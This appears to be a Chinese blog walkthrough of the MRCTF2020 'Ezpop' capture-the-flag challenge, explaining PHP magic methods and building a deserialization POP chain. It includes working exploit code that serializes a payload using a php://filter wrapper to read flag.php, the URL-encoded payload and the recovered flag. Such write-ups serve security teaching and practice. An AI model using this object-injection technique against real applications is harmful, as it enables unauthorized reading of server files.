[MRCTF2020]Ezpop

作者:Hopeace

靶机地址:https://buuoj.cn/challenges#[MRCTF2020]Ezpop

0x01 浏览题目

不用看了,反序列化构造和绕过

这种题主要是考察各类魔术方法的触发条件,不断构造调用形成一条链

0x02 分析题目

<?php
//flag is in flag.php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
__invoke()

当尝试以调用函数的方式调用一个对象时,该方法会被自动调用

class invoke
{
    public function __invoke($x)
    {
        var_dump($x);
    }
}
 
$obj = new invoke;
$obj(10); 
/*
 输出:
 int 10
*/
__get()
<?php
class Person{
	/*封装私有成员属性*/
	private $name='张三';private $sex='男';private $age=12;
	/*__get()方法用来获取私有属性*/
	function __get($property_name){
		echo '在直接获取私有成员属性得时候,自动调用了这个__get()方法<br/>';
		if(isset($this->$property_name))
		{
			return ($this->$property_name);
		}else{
			return NULL;
		}
	}
}
$p1=new Person();
/*直接获取私有属性得值,会自动调用__get()的方法,返回成员属性的值*/
echo '姓名:'.$p1->name.'<br/>';
echo '性别:'.$p1->sex.'<br/>';
echo '年龄:'.$p1->age.'<br/>';
————————————————
版权声明:本文为CSDN博主「weixin_42113474」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42113474/article/details/108894764

调用不存在的成员变量时也会触发

其余常见魔术方法
__construct()创建对象时调用
__destruct()销毁对象时调用
__toString()把对象转换为字符串,打印一个对象时被调用
__sleep()在序列化前被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()将在序列化之后立即被调用

0x03 代码审计

从出处向前找

最后应该是include去包含相关文件,需要调用Modifier里的append函数

append需要出发__ invoke魔术方法,看到Test类 里的 __get里的return $function();可以出发invoke,

继续,要触发__get 需要去找一个无source的类

调用__tostring $this->str, 赋值一个Test类,

然后是正则匹配preg_match,会触发__tostring

最后,传入pop参数值,触发__wakeup

pop链构成为:

pop传参 => __wakeup => __tostring => __get => __invoke => 调用include函数去包含flag.php这样的敏感文件

即 Modifier::__invoke()<–Test::__get()<–Show::__toString()

构造代码块

<?php
class Modifier{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
    }
    public function __toString(){
        return "output anything you want";
    }
}
class Test{
    public $p;
}
$payload = new Show('test');
$payload->str = new Test();
$payload->str->p = new Modifier();
$hack = new Show($payload);
echo urlencode(serialize($hack));
?>

本地运行得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

得到一段base64编码

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2NmMWM0ZTE3LTE2ODktNDljNS1hOTE4LTVkMjRiNzA1M2U1Y30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解码得到

<?php class Flag{ private $flag= "flag{cf1c4e17-1689-49c5-a918-5d24b7053e5c}"; } echo "Help Me Find FLAG!"; ?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值